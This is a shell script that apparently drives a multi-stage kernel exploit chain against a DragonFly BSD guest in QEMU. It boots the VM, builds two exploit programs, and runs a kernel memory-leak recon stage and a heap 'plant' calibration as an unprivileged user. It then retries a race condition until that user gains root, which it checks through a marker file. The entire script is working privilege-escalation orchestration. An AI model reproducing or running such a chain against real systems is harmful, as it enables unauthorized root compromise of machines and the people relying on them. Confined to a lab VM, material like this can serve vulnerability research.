#!/bin/sh
# DF-3017 x DF-2694 COMPOSED CHAIN driver (host side).
#
# Boots the 2-vCPU instantiation of the STOCK kernel (same binary as the
# standard 6-vCPU guest — only -smp differs), then:
#   stage A: DF-2694 leak recon  (cpu0 gd/ZoneAry[25] + zones + objcache)
#   stage B: DF-3017 hammer calibration + leak verification of the plant
#   stage C: the composed race (df3017c) as unpriv maxx -> uid=0
# Win marker: /tmp/df3017.root on the guest.
#
# usage: ./run_chain.sh [attempts]
set -u
cd "$(dirname "$0")"
ATTEMPTS=${1:-6}

KEY=../dfbsd-qemu/id_ed25519_dfbsd
SSH="-F /dev/null -p 5535 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i $KEY"
OVER=/tmp/opencode/df3017-2cpu.qcow2
BOOTLOG=/tmp/opencode/boot2cpu.log
LOG=run_chain.log

boot2cpu() {
	kill $(cat /tmp/opencode/df3017-2cpu.pid 2>/dev/null) 2>/dev/null
	sleep 1
	ps ax | grep df3017-2cpu.qcow2 | grep -v grep | awk '{print $1}' | xargs -r kill -9 2>/dev/null
	sleep 1
	rm -f "$OVER" "$BOOTLOG"
	qemu-img create -f qcow2 -b "$PWD/../dfbsd-qemu/disk.qcow2" -F qcow2 "$OVER" >/dev/null
	qemu-system-x86_64 \
	    -enable-kvm -m 4096 -smp 2 \
	    -drive file="$OVER",if=virtio,format=qcow2 \
	    -netdev user,id=n0,hostfwd=tcp:127.0.0.1:5535-:22 \
	    -device virtio-net-pci,netdev=n0 \
	    -display none \
	    -serial file:"$BOOTLOG" \
	    -daemonize -pidfile /tmp/opencode/df3017-2cpu.pid
	i=0
	while [ $i -lt 60 ]; do
		if ssh $SSH -o ConnectTimeout=5 root@127.0.0.1 'true' >/dev/null 2>&1; then
			return 0
		fi
		sleep 3; i=$((i+3))
	done
	return 1
}

attempt=0
while [ "$attempt" -lt "$ATTEMPTS" ]; do
	attempt=$((attempt + 1))
	echo "=== chain attempt $attempt $(date -u +%H:%M:%S) ===" | tee -a "$LOG"

	if ! boot2cpu; then
		echo "boot failed" | tee -a "$LOG"
		continue
	fi
	echo "2cpu guest up (ssh :5535)" | tee -a "$LOG"

	scp $SSH -o ConnectTimeout=8 df2694_recon.c df3017c.c root@127.0.0.1:/tmp/ >>"$LOG" 2>&1
	ssh $SSH root@127.0.0.1 '/bin/sh -c "cd /tmp && cc -O2 -pthread -o recon df2694_recon.c && cc -O2 -pthread -o dx df3017c.c && chmod 755 recon dx && chown maxx recon dx && echo BUILD_OK"' >>"$LOG" 2>&1 || continue

	# ---- stage A+B (only on the first attempt; later attempts race) ----
	if [ "$attempt" -eq 1 ]; then
		echo "--- stage A: leak recon (maxx) ---" | tee -a "$LOG"
		timeout 1500 ssh $SSH maxx@127.0.0.1 \
		    'PIG_MB=6500 ROUNDS=72 /tmp/recon' \
		    >>"$LOG" 2>&1
		mkdir -p recon.d
		scp $SSH -o ConnectTimeout=8 'maxx@127.0.0.1:/tmp/recon.*.bin' recon.d/ >>"$LOG" 2>&1 || true

		echo "--- stage B: hammer calib + plant verify ---" | tee -a "$LOG"
		timeout 60 ssh $SSH maxx@127.0.0.1 '/tmp/dx calib 3000' >>"$LOG" 2>&1
		VT=$(grep 'head-chunk=' "$LOG" | tail -1 | sed 's/.*head-chunk=\([0-9a-f]*\).*/\1/')
		if [ -n "$VT" ]; then
			echo "plant-verify target: $VT" | tee -a "$LOG"
			timeout 900 ssh $SSH maxx@127.0.0.1 \
			    "PIG_MB=6500 ROUNDS=48 /tmp/recon $VT:plant" \
			    >>"$LOG" 2>&1
			scp $SSH -o ConnectTimeout=8 'maxx@127.0.0.1:/tmp/recon.plant.bin' recon.d/ >>"$LOG" 2>&1 || true
			ssh $SSH root@127.0.0.1 '/bin/sh -c "od -Ax -tx8 -j 160 -N 32 /tmp/recon.plant.bin 2>/dev/null"' >>"$LOG" 2>&1 || true
		fi
	fi

	# ---- stage C: the composed race ----
	echo "--- stage C: composed race (maxx) ---" | tee -a "$LOG"
	timeout 420 ssh $SSH maxx@127.0.0.1 '/tmp/dx 360' >>"$LOG" 2>&1
	rc=$?

	if timeout 15 ssh $SSH -o ConnectTimeout=6 root@127.0.0.1 \
	    '/bin/sh -c "test -f /tmp/df3017.root" 2>/dev/null'; then
		echo "=== CHAIN WIN on attempt $attempt ===" | tee -a "$LOG"
		timeout 25 ssh $SSH root@127.0.0.1 '/bin/sh -c "cat /tmp/df3017.root; cat /tmp/df3017.id 2>/dev/null; ls -la /tmp/df3017.*; id maxx"' >>"$LOG" 2>&1
		exit 0
	fi

	if grep -q "panic:" "$BOOTLOG" 2>/dev/null; then
		echo "--- panic on attempt $attempt: ---" | tee -a "$LOG"
		grep -m1 -B2 -A12 "panic:" "$BOOTLOG" >>"$LOG" 2>/dev/null
	else
		echo "--- rc=$rc marker=none, guest $(ssh $SSH -o ConnectTimeout=5 root@127.0.0.1 true >/dev/null 2>&1 && echo up || echo down) ---" | tee -a "$LOG"
	fi
done
echo "=== no chain win after $attempt attempts ===" | tee -a "$LOG"
exit 2
